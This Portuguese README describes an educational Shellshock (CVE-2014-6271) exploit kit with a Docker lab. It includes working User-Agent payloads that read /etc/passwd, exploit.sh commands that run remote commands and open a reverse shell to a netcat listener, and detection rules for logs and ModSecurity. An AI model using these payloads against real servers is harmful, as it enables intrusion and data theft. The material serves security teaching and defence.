
Recriando Shellshock (CVE-2014-6271) - a vulnerabilidade bash que colocou em risco milhões de servidores. Kit de exploração automatizada + metodologia Burp Suite + laboratório Docker. Construído para pesquisa e educação em segurança. Projeto de portfólio de segurança ofensiva.
Kit de exploração automatizada para CVE-2014-6271 (Shellshock)
Um projeto completo de pesquisa em segurança demonstrando a vulnerabilidade Shellshock que afetou milhões de servidores em 2014. Inclui varredura automatizada, capacidades de exploração e recomendações defensivas.
Demo
Shellshock (CVE-2014-6271) é uma vulnerabilidade crítica no shell Bash que permite execução remota de código através da manipulação de variáveis de ambiente. Descoberta em 2014 após existir por 22 anos, afetou milhões de sistemas Unix/Linux em todo o mundo.
Como funciona:
# Normal: Bash exports functions as environment variables
my_function='() { echo "hello"; }'
# The bug: Bash continues parsing after the function definition
exploit='() { :;}; echo "PWNED"' # The second command executes
Servidores web que usam CGI passam cabeçalhos HTTP como variáveis de ambiente para o Bash, tornando-os vulneráveis:
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'
# Clone and setup
git clone https://github.com/YOUR-USERNAME/bash-apocalypse.git
cd bash-apocalypse
# Start vulnerable lab
docker-compose up -d
# Run exploit
chmod +x exploit.sh
./exploit.sh --url http://localhost:8080/cgi-bin/test.cgi --cmd "whoami"
Scanner Automatizado
Ferramenta de Exploração
Ambiente de Laboratório
./exploit.sh --scan --target localhost --port 8080
./exploit.sh --url http://target/cgi-bin/test.cgi --cmd "id"
# Terminal 1
nc -lvnp 4444
# Terminal 2
./exploit.sh --url http://target/cgi-bin/test.cgi --reverse-shell YOUR_IP:4444


Modifique o cabeçalho User-Agent:
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'

O servidor executa seu comando e retorna a saída.
Client (Attacker)
│
│ HTTP Request with malicious User-Agent
▼
Web Server
│
│ Passes header as environment variable
▼
CGI Script
│
│ Spawns Bash process
▼
Bash Shell
│
│ Parses function + executes trailing commands
▼
Command Execution (RCE)
Quando o Bash encontra uma definição de função em uma variável de ambiente:
() { :;}# Update Bash
sudo apt-get update && sudo apt-get upgrade bash
# Disable CGI if not needed
sudo a2dismod cgi && sudo systemctl restart apache2
# Check logs for exploitation attempts
grep -E "\\(\\)|\\{.*\\}" /var/log/apache2/access.log
SecRule REQUEST_HEADERS "\\(\\).*\\{" "deny,status:403,msg:'Shellshock Attack'"
bash-apocalypse/
├── README.md
├── exploit.sh # Main tool
├── payloads.txt # Test payloads
├── docker-compose.yml # Lab setup
└── screenshots/
├── intercept.png
├── Payload.png
└── result.png
Apenas para fins educacionais. Teste apenas sistemas que você possui ou tem permissão explícita para testar. Acesso não autorizado é ilegal.
Construído para entender como as vulnerabilidades funcionam e como se defender delas. ;)